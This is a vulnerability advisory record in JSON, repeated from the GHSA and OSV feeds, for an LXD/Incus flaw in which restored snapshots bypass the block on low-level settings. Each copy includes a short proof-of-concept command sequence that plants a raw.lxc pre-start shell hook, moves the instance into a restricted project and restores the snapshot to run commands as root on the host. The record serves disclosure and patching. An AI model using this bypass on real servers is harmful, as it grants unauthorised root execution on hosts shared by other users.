{"id":"GHSA-47w9-6r3f-938g","aliases":[],"status":"published","title":"LXD has restricted project bypass leading to arbitrary command execution","description":"Reported from https://github.com/lxc/incus/security/advisories/GHSA-48q5-w887-33wv\n\n### Summary\n\nInstance snapshots ignore the `restricted.containers.lowlevel=block` setting;\nallowing for arbitrary command execution on the Incus server by abusing\nlowlevel hooks such as `raw.lxc` and `raw.qemu`.\n\n\n### Details\n\nInstance snapshots ignore the `restricted.containers.lowlevel=block` setting;\nallowing for arbitrary command execution on the Incus server by abusing\nlowlevel hooks such as `raw.lxc` and `raw.qemu`.\n\nAs snapshots can be moved from one server to another, a malicious\ninstance+snapshot can be crafted locally, moved to a restricted project\nand the snapshot restored for arbitrary command execution.\n\nIn practice, this allows a malicious actor to execute arbitrary commands\non the host with root privileges.\n\n\n### PoC\n\n```\n# remote, restricted\nincus project set rem:project restricted.true\nincus project set rem:project restricted.containers.lowlevel=block\n\n# locally, unrestricted project\nincus init images:debian/trixie rce-raw-lxc\nincus config set rce-raw-lxc raw.lxc='lxc.hook.pre-start = /bin/sh -c \"/bin/id \u003e/lxc-hook-prestart\"'\nincus snapshot create rce-raw-lxc snap0\n#\u003e allow transfer to restricted project\nincus config unset rce-raw-lxc raw.lxc\n\n# locally, transfer and trigger\nincus move rce-raw-lxc rem: --mode push\nincus snapshot restore rem:rce-raw-lxc snap0\nincus start rem:rce-raw-lxc\n```\n\n\n### Impact\n\n- Bypass of project restrictions.\n- Arbitrary command execution on the Incus server.","severity":{"version":"3.1","score":9.9,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H","level":"critical","from":"ghsa"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-862"],"published":"2026-11-06T19:51:26Z","modified":"2026-11-06T20:00:05Z","fixes":[{"ecosystem":"Go","package":"github.com/canonical/lxd","fixed_in":["0.0.0-20260630083100-c5184be310b1"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"Go","package":"github.com/canonical/lxd","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.0.0-20260630083100-c5184be310b1"}]}]},{"source":"osv","ecosystem":"Go","package":"github.com/canonical/lxd","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"0.0.0-20260630083100-c5184be310b1"}]}]}],"references":[{"url":"https://github.com/canonical/lxd/security/advisories/GHSA-47w9-6r3f-938g","tags":["web"]},{"url":"https://github.com/lxc/incus/security/advisories/GHSA-48q5-w887-33wv","tags":["web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-48751","tags":["advisory"]},{"url":"https://github.com/canonical/lxd/commit/5aac658c888d52e3a2480a8f879799ac643fdc49","tags":["web"]},{"url":"https://github.com/canonical/lxd/commit/6b93b2a0c4f6f3eaf91e1e813f6875d5eb66b59b","tags":["web"]},{"url":"https://github.com/canonical/lxd/commit/a52e5d06a52fb7ad8862cb2a8659a8c47e446efe","tags":["web"]},{"url":"https://github.com/canonical/lxd/commit/cfd9f66f6af89e1fa3b3acb12bfe72f51b7f1e19","tags":["web"]},{"url":"https://github.com/canonical/lxd/releases/tag/lxd-5.0.7","tags":["web"]},{"url":"https://github.com/canonical/lxd/releases/tag/lxd-5.21.5","tags":["web"]},{"url":"https://github.com/advisories/GHSA-47w9-6r3f-938g"},{"url":"https://github.com/canonical/lxd","tags":["package"]}],"sources":{"ghsa":[{"id":"GHSA-47w9-6r3f-938g","title":"LXD has restricted project bypass leading to arbitrary command execution","description":"Reported from https://github.com/lxc/incus/security/advisories/GHSA-48q5-w887-33wv\n\n### Summary\n\nInstance snapshots ignore the `restricted.containers.lowlevel=block` setting;\nallowing for arbitrary command execution on the Incus server by abusing\nlowlevel hooks such as `raw.lxc` and `raw.qemu`.\n\n\n### Details\n\nInstance snapshots ignore the `restricted.containers.lowlevel=block` setting;\nallowing for arbitrary command execution on the Incus server by abusing\nlowlevel hooks such as `raw.lxc` and `raw.qemu`.\n\nAs snapshots can be moved from one server to another, a malicious\ninstance+snapshot can be crafted locally, moved to a restricted project\nand the snapshot restored for arbitrary command execution.\n\nIn practice, this allows a malicious actor to execute arbitrary commands\non the host with root privileges.\n\n\n### PoC\n\n```\n# remote, restricted\nincus project set rem:project restricted.true\nincus project set rem:project restricted.containers.lowlevel=block\n\n# locally, unrestricted project\nincus init images:debian/trixie rce-raw-lxc\nincus config set rce-raw-lxc raw.lxc='lxc.hook.pre-start = /bin/sh -c \"/bin/id \u003e/lxc-hook-prestart\"'\nincus snapshot create rce-raw-lxc snap0\n#\u003e allow transfer to restricted project\nincus config unset rce-raw-lxc raw.lxc\n\n# locally, transfer and trigger\nincus move rce-raw-lxc rem: --mode push\nincus snapshot restore rem:rce-raw-lxc snap0\nincus start rem:rce-raw-lxc\n```\n\n\n### Impact\n\n- Bypass of project restrictions.\n- Arbitrary command execution on the Incus server.","status":"published","published":"2026-11-06T19:51:26Z","modified":"2026-11-06T19:51:26Z","cvss":[{"version":"3.1","score":9.9,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H","level":"critical"}],"cwes":["CWE-862"],"updated_at":"2026-11-06T20:01:41.450648Z"}],"osv":[{"id":"GHSA-47w9-6r3f-938g","title":"LXD has restricted project bypass leading to arbitrary command execution","description":"Reported from https://github.com/lxc/incus/security/advisories/GHSA-48q5-w887-33wv\n\n### Summary\n\nInstance snapshots ignore the `restricted.containers.lowlevel=block` setting;\nallowing for arbitrary command execution on the Incus server by abusing\nlowlevel hooks such as `raw.lxc` and `raw.qemu`.\n\n\n### Details\n\nInstance snapshots ignore the `restricted.containers.lowlevel=block` setting;\nallowing for arbitrary command execution on the Incus server by abusing\nlowlevel hooks such as `raw.lxc` and `raw.qemu`.\n\nAs snapshots can be moved from one server to another, a malicious\ninstance+snapshot can be crafted locally, moved to a restricted project\nand the snapshot restored for arbitrary command execution.\n\nIn practice, this allows a malicious actor to execute arbitrary commands\non the host with root privileges.\n\n\n### PoC\n\n```\n# remote, restricted\nincus project set rem:project restricted.true\nincus project set rem:project restricted.containers.lowlevel=block\n\n# locally, unrestricted project\nincus init images:debian/trixie rce-raw-lxc\nincus config set rce-raw-lxc raw.lxc='lxc.hook.pre-start = /bin/sh -c \"/bin/id \u003e/lxc-hook-prestart\"'\nincus snapshot create rce-raw-lxc snap0\n#\u003e allow transfer to restricted project\nincus config unset rce-raw-lxc raw.lxc\n\n# locally, transfer and trigger\nincus move rce-raw-lxc rem: --mode push\nincus snapshot restore rem:rce-raw-lxc snap0\nincus start rem:rce-raw-lxc\n```\n\n\n### Impact\n\n- Bypass of project restrictions.\n- Arbitrary command execution on the Incus server.","status":"published","published":"2026-11-06T19:51:26Z","modified":"2026-11-06T20:00:05.895332107Z","cvss":[{"version":"3.1","score":9.9,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H","level":"critical"}],"cwes":["CWE-862"],"updated_at":"2026-11-06T20:07:08.647364Z"}]}}
